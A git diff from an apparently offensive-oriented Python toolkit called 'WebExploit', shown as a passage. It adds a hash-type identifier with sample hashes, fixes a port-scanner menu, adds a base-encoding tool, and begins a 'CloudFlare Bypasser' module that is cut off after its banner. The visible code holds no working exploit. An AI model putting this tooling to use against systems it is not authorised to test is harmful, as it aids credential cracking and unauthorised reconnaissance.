+ hs='5fcbe06df20ce8ee16e92542e591bdea706fbdc2442aecbf42c223f4461a12af'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("115080")
+ def RipeMD256HMAC(hash):
+ hs='43227322be1b8d743e004c628e0042184f1288f27c13155412f08beeee0e54bf'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("115160")
+ def SNEFRU256(hash):
+ hs='3a654de48e8d6b669258b2d33fe6fb179356083eed6ff67e27c5ebfa4d9732bb'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("115100")
+ def SNEFRU256HMAC(hash):
+ hs='4e9418436e301a488f675c9508a2d518d8f8f99e966136f2dd7e308b194d74f9'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("115180")
+ def SHA256md5pass(hash):
+ hs='b419557099cfa18a86d1d693e2b3b3e979e7a5aba361d9c4ec585a1a70c7bde4'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("115200")
+ def SHA256sha1pass(hash):
+ hs='afbed6e0c79338dbfe0000efe6b8e74e3b7121fe73c383ae22f5b505cb39c886'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("115220")
+
+ def MD5passsaltjoomla2(hash):
+ hs='fb33e01e4f8787dc8beb93dac4107209:fxJUXVjYRafVauT77Cze8XwFrWaeAYB2'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[32:33].find(':')==0:
+ jerar.append("116020")
+ def SAM(hash):
+ hs='4318B176C3D8E3DEAAD3B435B51404EE:B7C899154197E8A2A33121D76A240AB5'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash.islower()==False and hash[32:33].find(':')==0:
+ jerar.append("116040")
+
+ def SHA256Django(hash):
+ hs='sha256$Zion3R$9e1a08aa28a22dfff722fad7517bae68a55444bb5e2f909d340767cec9acf2c3'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:6].find('sha256')==0:
+ jerar.append("117020")
+
+ def RipeMD320(hash):
+ hs='b4f7c8993a389eac4f421b9b3b2bfb3a241d05949324a8dab1286069a18de69aaf5ecc3c2009d8ef'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("118020")
+ def RipeMD320HMAC(hash):
+ hs='244516688f8ad7dd625836c0d0bfc3a888854f7c0161f01de81351f61e98807dcd55b39ffe5d7a78'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("118040")
+
+ def SHA384(hash):
+ hs='3b21c44f8d830fa55ee9328a7713c6aad548fe6d7a4a438723a0da67c48c485220081a2fbc3e8c17fd9bd65f8d4b4e6b'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("119020")
+ def SHA384HMAC(hash):
+ hs='bef0dd791e814d28b4115eb6924a10beb53da47d463171fe8e63f68207521a4171219bb91d0580bca37b0f96fddeeb8b'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("119040")
+
+ def SHA256s(hash):
+ hs='$6$g4TpUQzk$OmsZBJFwvy6MwZckPvVYfDnwsgktm2CckOlNJGy9HNwHSuHFvywGIuwkJ6Bjn3kKbB6zoyEjIYNMpHWBNxJ6g.'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$6$')==0:
+ jerar.append("120020")
+
+ def SHA384Django(hash):
+ hs='sha384$Zion3R$88cfd5bc332a4af9f09aa33a1593f24eddc01de00b84395765193c3887f4deac46dc723ac14ddeb4d3a9b958816b7bba'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:6].find('sha384')==0:
+ jerar.append("121020")
+
+ def SHA512(hash):
+ hs='ea8e6f0935b34e2e6573b89c0856c81b831ef2cadfdee9f44eb9aa0955155ba5e8dd97f85c73f030666846773c91404fb0e12fb38936c56f8cf38a33ac89a24e'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("122020")
+ def SHA512HMAC(hash):
+ hs='dd0ada8693250b31d9f44f3ec2d4a106003a6ce67eaa92e384b356d1b4ef6d66a818d47c1f3a2c6e8a9a9b9bdbd28d485e06161ccd0f528c8bbb5541c3fef36f'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("122060")
+ def Whirlpool(hash):
+ hs='76df96157e632410998ad7f823d82930f79a96578acc8ac5ce1bfc34346cf64b4610aefa8a549da3f0c1da36dad314927cebf8ca6f3fcd0649d363c5a370dddb'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("122040")
+ def WhirlpoolHMAC(hash):
+ hs='77996016cf6111e97d6ad31484bab1bf7de7b7ee64aebbc243e650a75a2f9256cef104e504d3cf29405888fca5a231fcac85d36cd614b1d52fce850b53ddf7f9'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("122080")
+
+
+
+ # try:
+ # first = str(argv[1])
+ # except:
+ # first = None
+ #first = True
+ while True:
+ try:
+ jerar=[]
+
+ h = input(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}A.H.F/{bold}ANGRY-HASH-FINDER{white}{nbold}[{bold}{green}---HASH---{white}{nbold}]{nbold}{f.WHITE} enter you\'r \'\HASH{nbold}\' [ex: (all types !)]:#{f.GREEN}{bold} ')
+ print ('')
+
+ ADLER32(h); CRC16(h); CRC16CCITT(h); CRC32(h); CRC32B(h); DESUnix(h); DomainCachedCredentials(h); FCS16(h); GHash323(h); GHash325(h); GOSTR341194(h); Haval128(h); Haval128HMAC(h); Haval160(h); Haval160HMAC(h); Haval192(h); Haval192HMAC(h); Haval224(h); Haval224HMAC(h); Haval256(h); Haval256HMAC(h); LineageIIC4(h); MD2(h); MD2HMAC(h); MD4(h); MD4HMAC(h); MD5(h); MD5APR(h); MD5HMAC(h); MD5HMACWordpress(h); MD5phpBB3(h); MD5Unix(h); MD5Wordpress(h); MD5Half(h); MD5Middle(h); MD5passsaltjoomla1(h); MD5passsaltjoomla2(h); MySQL(h); MySQL5(h); MySQL160bit(h); NTLM(h); RAdminv2x(h); RipeMD128(h); RipeMD128HMAC(h); RipeMD160(h); RipeMD160HMAC(h); RipeMD256(h); RipeMD256HMAC(h); RipeMD320(h); RipeMD320HMAC(h); SAM(h); SHA1(h); SHA1Django(h); SHA1HMAC(h); SHA1MaNGOS(h); SHA1MaNGOS2(h); SHA224(h); SHA224HMAC(h); SHA256(h); SHA256s(h); SHA256Django(h); SHA256HMAC(h); SHA256md5pass(h); SHA256sha1pass(h); SHA384(h); SHA384Django(h); SHA384HMAC(h); SHA512(h); SHA512HMAC(h); SNEFRU128(h); SNEFRU128HMAC(h); SNEFRU256(h); SNEFRU256HMAC(h); Tiger128(h); Tiger128HMAC(h); Tiger160(h); Tiger160HMAC(h); Tiger192(h); Tiger192HMAC(h); Whirlpool(h); WhirlpoolHMAC(h); XOR32(h); md5passsalt(h); md5saltmd5pass(h); md5saltpass(h); md5saltpasssalt(h); md5saltpassusername(h); md5saltmd5pass(h); md5saltmd5passsalt(h); md5saltmd5passsalt(h); md5saltmd5saltpass(h); md5saltmd5md5passsalt(h); md5username0pass(h); md5usernameLFpass(h); md5usernamemd5passsalt(h); md5md5pass(h); md5md5passsalt(h); md5md5passmd5salt(h); md5md5saltpass(h); md5md5saltmd5pass(h); md5md5usernamepasssalt(h); md5md5md5pass(h); md5md5md5md5pass(h); md5md5md5md5md5pass(h); md5sha1pass(h); md5sha1md5pass(h); md5sha1md5sha1pass(h); md5strtouppermd5pass(h); sha1passsalt(h); sha1saltpass(h); sha1saltmd5pass(h); sha1saltmd5passsalt(h); sha1saltsha1pass(h); sha1saltsha1saltsha1pass(h); sha1usernamepass(h); sha1usernamepasssalt(h); sha1md5pass(h); sha1md5passsalt(h); sha1md5sha1pass(h); sha1sha1pass(h); sha1sha1passsalt(h); sha1sha1passsubstrpass03(h); sha1sha1saltpass(h); sha1sha1sha1pass(h); sha1strtolowerusernamepass(h)
+
+ if len(jerar)==0:
+
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}NOT FOUND{f.WHITE}{nbold}] WEB EXPLOIT CAN\'T FIND TYPE HASH -> {bold}{h}{nbold} TRY AGAIN . . .\n')
+ elif len(jerar)>2:
+ jerar.sort()
+
+ print(f'\n\n {nbold}{f.WHITE}[{f.GREEN}{bold}POSSIBLE :{f.WHITE}{nbold}] WEB EXPLOIT , HASH\'s -> {bold}{h}{nbold}')
+ t.sleep(0.1)
+
+ j0 = str(algorithms[jerar[0]])
+ j1 = str(algorithms[jerar[1]])
+
+ print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}A.H.F/{f.CYAN}CHECKER{f.WHITE}] POSSIBLE HASH [{bold}{green}{j0}{nbold}{white}]\n')
+ t.sleep(0.1)
+ print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}A.H.F/{f.CYAN}CHECKER{f.WHITE}] POSSIBLE HASH [{bold}{green}{j1}{nbold}{white}]\n')
+ t.sleep(0.1)
+ print(f'\n\n {nbold}{f.WHITE}[{f.YELLOW}{bold}LEAST POSSIBLE :{f.WHITE}{nbold}] WEB EXPLOIT , HASH\'s -> {bold}{h}{nbold}\n')
+
+ for a in range(int(len(jerar))-2):
+
+ algj = str(algorithms[jerar[a+2]])
+ print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}A.H.F/{f.CYAN}CHECKER{f.WHITE}] LEAST POSSIBLE HASH [{bold}{green}{algj}{nbold}{white}]\n')
+ t.sleep(0.2)
+ else:
+ jerar.sort()
+ print(f'\n\n {nbold}{f.WHITE}[{f.GREEN}{bold}POSSIBLE :{f.WHITE}{nbold}] WEB EXPLOIT , HASH\'s -> {bold}{h}{nbold}')
+ t.sleep(0.2)
+ for a in range(len(jerar)):
+ ja = str(algorithms[jerar[a]])
+ print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}A.H.F{f.WHITE}][{bold}{green}{ja}{nbold}{white}]\n')
+ t.sleep(0.1)
+
+ first = None
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ exit()
diff --git a/cores/aps.py b/cores/aps.py
index 1d65d76..560d985 100644
--- a/cores/aps.py
+++ b/cores/aps.py
@@ -188,6 +188,8 @@ def single():
typ = 'vnc'
elif port == '1027':
typ = 'iis'
+ else:
+ typ = "unknown"
# end known ports
try:
print (f'\n {f.WHITE}{nbold}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}A.P.S/{bold}PORT[S]{nbold}{f.WHITE}] {f.CYAN}SINGLE PORT{f.WHITE} >>>{bold} {port}[{typ}]{nbold} \n')
@@ -301,6 +303,8 @@ def multi():
typ = 'vnc'
elif port == '1027':
typ = 'iis'
+ else:
+ typ = "unknown"
# end known ports
try:
print (f'\n {f.WHITE}{nbold}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}A.P.S/{bold}PORT[S]{nbold}{f.WHITE}] {f.CYAN}SINGLE PORT{f.WHITE} >>>{bold} {port}[{typ}]{nbold} \n')
@@ -457,7 +461,7 @@ def multi():
while True:
try:
- select = input(f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}A.P.S/{bold}MODE{nbold}{f.WHITE}| (1 (SINGLE), 2 (MULTI-WITH-FILE)]:#{f.GREEN}{bold} ')
+ select = input(f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}A.P.S/{bold}MODE{nbold}{f.WHITE}| (2 MULTI-WITH-FILE, 1 SINGLE]:#{f.GREEN}{bold} ')
except Exception as s_e:
print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{nbold}{f.WHITE}]{f.YELLOW} BECAUSE: {bold}[{s_e}] {nbold} EXITTING . . .\n')
@@ -469,13 +473,13 @@ def multi():
if select == '1':
print(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}A.P.S/{bold}MODE[1]{nbold}{f.WHITE}')
t.sleep(2)
- print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}A.P.S/{f.CYAN}{bold}Loading{white} MODE 1 [{bold}MULTI-HOST-FILE{nbold}] !\n\n\n')
- single()
+ print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}A.P.S/{f.CYAN}{bold}Loading{white} MODE 2 [{bold}MULTI-HOST-FILE{nbold}] !\n\n\n')
+ multi()
if select == '2':
print(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}A.P.S/{bold}MODE[2]{nbold}{f.WHITE}')
t.sleep(2)
- print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}A.P.S/{f.CYAN}{bold}Loading{white} MODE 2 [{bold}SINGLE{nbold}] !\n\n\n')
- multi()
+ print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}A.P.S/{f.CYAN}{bold}Loading{white} MODE 1 [{bold}SINGLE{nbold}] !\n\n\n')
+ single()
if select == None:
print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{nbold}{f.WHITE}]{f.YELLOW} MODE {bold}[NOT SELECTED] {red}{nbold} EXITTING . . .\n')
sys.exit()
diff --git a/cores/b64.py b/cores/b64.py
new file mode 100644
index 0000000..5c0fab8
--- /dev/null
+++ b/cores/b64.py
@@ -0,0 +1,225 @@
+def run():
+ '''
+ MIT License
+
+Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r]
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+'''
+ 'pip install google-search'
+ try:
+ import time as t
+ from colorama import Fore as f
+ import sys, os
+ import requests as r
+ import paramiko
+ from random import choice
+ import base64
+ import binascii
+ except:
+ print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !")
+ t.sleep(1)
+ sys.exit()
+
+ black = "\033[0;30m"
+ red = "\033[0;31m"
+ green = "\033[0;32m"
+ brown = "\033[0;33m"
+ blue = "\033[0;34m"
+ purple = "\033[0;35m"
+ cyan = "\033[0;36m"
+ l_gray = "\033[0;37m"
+ dark_gray = "\033[1;30m"
+ l_red = "\033[1;31m"
+ l_green = "\033[1;32m"
+ yellow = "\033[1;33m"
+ l_blue = "\033[1;34m"
+ l_purple = "\033[1;35m"
+ l_cyan = "\033[1;36m"
+ l_white = "\033[1;37m"
+ faint = "\033[2m"
+ italic = "\033[3m"
+ underline = "\033[4m"
+ blink = "\033[5m"
+ nefative = "\033[7m"
+ cross = "\033[9m"
+ ended = "\033[0m"
+ bold = "\033[1m"
+ nbold = "\033[0m"
+ white = f.WHITE
+
+ bnr = ['''
+ ▄▄▄▄· ▄▄▄ . ·▄▄▄▄
+ ▐█ ▀█▪ ▀▄.▀· ██· ██
+ ▐█▀▀█▄ ▐▀▀▪▄ ▐█▪ ▐█▌
+ ██▄▪▐█ ▐█▄▄▌ ██. ██
+ ·▀▀▀▀ ▀▀▀ ▀▀▀▀▀• ''', '''
+ ▄▄▄▄ ▓█████ ▓█████▄
+ ▓█████▄ ▓█ ▀ ▒██▀ ██▌
+ ▒██▒ ▄██ ▒███ ░██ █▌
+ ▒██░█▀ ▒▓█ ▄ ▒░▓█▄ ▌
+ ▒░▓█ ▀█▓ ░▒████ ░░▒████▓
+ ░░▒▓███▀▒ ░░ ▒░ ░ ▒▒▓ ▒
+ ░▒░▒ ░ ░ ░ ░ ▒ ▒
+ ░ ░ ░ ░ ░ ░
+ ░ ░ ░ ░ ''']
+
+ def r_bnr(bnr):
+ return choice(bnr)
+
+ print (f'{blink}{r_bnr(bnr)}{ended}', end='')
+ t.sleep(2)
+ print(f' {italic}From{ended} : ', end='')
+ #create flush text [simple]
+ print(f'{red}{bold}', end='', flush=True)
+ print(f'{bold}W', end='', flush=True)
+ t.sleep(0.5)
+ print('e', end='', flush=True)
+ t.sleep(0.7)
+ print('b', end='', flush=True)
+ t.sleep(0.4)
+ print('E', end='', flush=True)
+ t.sleep(0.1)
+ print('x', end='', flush=True)
+ t.sleep(0.2)
+ print('p', end='', flush=True)
+ t.sleep(0.3)
+ print('l', end='', flush=True)
+ t.sleep(0.4)
+ print('o', end='', flush=True)
+ t.sleep(0.5)
+ print('i', end='', flush=True)
+ t.sleep(1.5)
+ print(f't{ended}', flush=True)
+ nbold = "\033[0m" # tahe koskholi !
+ t.sleep(1)
+ print(f'{white}{nbold}')
+# SIMPLE TOOL !
+ print (f'\n {bold}{f.GREEN}[{f.WHITE}B*TOOL{f.GREEN}]{f.WHITE}{f.RED} B64-DEC-ENC{f.WHITE}{bold} BASE 16,32,64,85{nbold}.DEC.ENC{nbold} DECODER T00L !\n\n\n')
+ t.sleep(3)
+
+
+
+
+ while True:
+ try:
+ string = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}B64-DEC-ENC/{bold}DECODER-ENCODER{nbold}{f.WHITE} T00L . enter Your {bold}\'string{nbold}\' [ex: WebExploit | V2ViRXhwbG9pdAo=]:#{f.RED}{bold} ')
+ print(f'{nbold}')
+
+ if string:
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}B*/{bold}ENC-DEC{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{string}{nbold}\n')
+ t.sleep(1)
+ break
+ else:
+ continue
+
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ # break
+ sys.exit(0)
+
+ t.sleep(2)
+ strtype =input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}B64-DEC-ENC/{bold}DEC-ENC{nbold}{f.WHITE} T00L . enter Your {bold}\'MODE{nbold}\' [ex: [1] DECODE, [2] ENCODE ]:#{f.BLUE}{bold} ')
+ print(f'{nbold}')
+ t.sleep(2)
+
+ if strtype == '1' or strtype =='dec' or strtype == 'decode':
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}B*/DECODER/{bold}STRING{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{string}{nbold}\n')
+ try:
+ t.sleep(2)
+ base16_bytes = string
+ base16_bytes = base64.b16decode(base16_bytes)
+ base16_message = base16_bytes.decode('ascii')
+ t.sleep(1)
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}16{nbold}/{bold}DECODER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{base16_message}{nbold}\n')
+ except Exception as err:
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}16{nbold}/{bold}DECODER{nbold}{f.WHITE}]{f.RED} SKIPPING {white}{bold}BASE 16 \'TYPE\'{nbold} Error: {err}\n')
+
+ try:
+ t.sleep(2)
+ #string.decode('ascii')
+ base32_bytes = string
+ base32_bytes = base64.b32decode(base32_bytes)
+ base32_message = base32_bytes.decode('ascii')
+ t.sleep(1)
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}32{nbold}/{bold}DECODER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{base32_message}{nbold}\n')
+ except Exception as err:
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}32{nbold}/{bold}DECODER{nbold}{f.WHITE}]{f.RED} SKIPPING {white}{bold}BASE 32 \'TYPE\'{nbold} Error: {err}\n')
+ try:
+ t.sleep(2)
+ base64_bytes = string
+ base64_bytes = base64.b64decode(base64_bytes)
+ base64_message = base64_bytes.decode('ascii')
+ t.sleep(1)
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}64{nbold}/{bold}DECODER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{base64_message}{nbold}\n')
+ except Exception as err:
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}64{nbold}/{bold}DECODER{nbold}{f.WHITE}]{f.RED} SKIPPING {white}{bold}BASE 64 \'TYPE\'{nbold} Error: {err}\n')
+ try:
+ t.sleep(2)
+ base85_bytes = string
+ base85_bytes = base64.b85decode(base85_bytes)
+ base85_message = base85_bytes.decode('ascii')
+ t.sleep(1)
+ print (f'\n {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}85{nbold}/{bold}DECODER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{base85_message}{nbold}\n')
+ except Exception as err:
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}85{nbold}/{bold}DECODER{nbold}{f.WHITE}]{f.WHITE} SKIPPING {white}{bold}BASE 85 \'TYPE\'{nbold}\n')
+
+ elif strtype == '2' or strtype =='enc' or strtype == 'encode':
+ print (f'\n {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}B*/DECODER/{bold}STRING{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{string}{nbold}\n')
+ t.sleep(2)
+ base16_bytes = string.encode('ascii')
+ base16_bytes = base64.b16encode(base16_bytes)
+ base16_message = base16_bytes.decode('ascii')
+ t.sleep(1)
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{white}{bold}16{nbold}/{bold}ENCODER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{base16_message}{nbold}\n')
+ t.sleep(2)
+ base32_bytes = string.encode('ascii')
+ base32_bytes = base64.b32encode(base32_bytes)
+ base32_message = base32_bytes.decode('ascii')
+ t.sleep(1)
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{white}{bold}32{nbold}/{bold}ENCODER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{base32_message}{nbold}\n')
+ t.sleep(1)
+ base64_bytes = string.encode('ascii')
+ base64_bytes = base64.b64encode(base64_bytes)
+ base64_message = base64_bytes.decode('ascii')
+ t.sleep(1)
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}64{nbold}/{bold}ENCODER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{base64_message}{nbold}\n')
+ t.sleep(1)
+ base85_bytes = string.encode('ascii')
+ base85_bytes = base64.b85encode(base85_bytes)
+ base85_message = base85_bytes.decode('ascii')
+ t.sleep(1)
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}BASE{nbold}{bold}85{nbold}/{bold}ENCODER{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{base85_message}{nbold}\n')
+ else:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] WHAT? {bold}\'{string}\'{nbold} ? EXITTING . . .')
+ t.sleep(2)
+ sys.exit(0)
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/cores/cfb.py b/cores/cfb.py
new file mode 100644
index 0000000..b5d1cea
--- /dev/null
+++ b/cores/cfb.py
@@ -0,0 +1,159 @@
+def run():
+ '''
+ MIT License
+
+Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r]
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+'''
+ try:
+ import time as t
+ from colorama import Fore as f
+ import sys, os
+ import socket
+ from random import choice
+ except:
+ print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !")
+ t.sleep(1)
+ sys.exit()
+
+ black = "\033[0;30m"
+ red = "\033[0;31m"
+ green = "\033[0;32m"
+ brown = "\033[0;33m"
+ blue = "\033[0;34m"
+ purple = "\033[0;35m"
+ cyan = "\033[0;36m"
+ l_gray = "\033[0;37m"
+ dark_gray = "\033[1;30m"
+ l_red = "\033[1;31m"
+ l_green = "\033[1;32m"
+ yellow = "\033[1;33m"
+ l_blue = "\033[1;34m"
+ l_purple = "\033[1;35m"
+ l_cyan = "\033[1;36m"
+ l_white = "\033[1;37m"
+ faint = "\033[2m"
+ italic = "\033[3m"
+ underline = "\033[4m"
+ blink = "\033[5m"
+ nefative = "\033[7m"
+ cross = "\033[9m"
+ ended = "\033[0m"
+ bold = "\033[1m"
+ nbold = "\033[0m"
+ white = f.WHITE
+
+ bnr = ['''
+ ▄████▄ █████ ▄▄▄▄
+ ▒██▀ ▀█ ▓██ ▓█████▄
+ ▒▓█ ▄ ▒████ ▒██▒ ▄██
+ ▒▓▓▄ ▄██ ░▓█▒ ▒██░█▀
+ ▒ ▓███▀ ▒░▒█░ ▒░▓█ ▀█▓
+ ░ ░▒ ▒ ░ ▒ ░ ░░▒▓███▀▒
+ ░ ▒ ░ ░ ░▒░▒ ░
+ ░ ░ ░ ░ ░
+ ░ ░ ░ ░ ░ ''', '''
+ ▄▄· ·▄▄▄ ▄▄▄▄·
+ ▐█ ▌▪ █ · ▐█ ▀█▪
+ ██ ▄▄ █▀▀▪ ▐█▀▀█▄
+ ▐███▌ ██ . ██▄▪▐█
+ ·▀▀▀ ▀▀▀ ·▀▀▀▀ ''']
+
+ def r_bnr(bnr):
+ return choice(bnr)
+
+ print (f'{blink}{r_bnr(bnr)}{ended}', end='')
+ t.sleep(2)
+ print(f' {italic}From{ended} : ', end='')
+ #create flush text [simple]
+ print(f'{red}{bold}', end='', flush=True)
+ print(f'{bold}W', end='', flush=True)
+ t.sleep(0.5)
+ print('e', end='', flush=True)
+ t.sleep(0.7)
+ print('b', end='', flush=True)
+ t.sleep(0.4)
+ print('E', end='', flush=True)
+ t.sleep(0.1)
+ print('x', end='', flush=True)
+ t.sleep(0.2)
+ print('p', end='', flush=True)
+ t.sleep(0.3)
+ print('l', end='', flush=True)
+ t.sleep(0.4)
+ print('o', end='', flush=True)
+ t.sleep(0.5)
+ print('i', end='', flush=True)
+ t.sleep(1.5)
+ print(f't{ended}', flush=True)
+ nbold = "\033[0m" # tahe koskholi !
+ t.sleep(1)
+ print(f'{white}{nbold}')
+
+ print (f'\n {bold}{f.GREEN}[{f.WHITE}CFB{f.GREEN}]{f.WHITE}{f.RED} C.F.B{f.WHITE}{bold} C{nbold}LOAD {bold}F{nbold}LARE {bold}B{nbold}YPASSER T00L !\n\n\n')
+ t.sleep(3)
+
+
+ while True:
+ try:
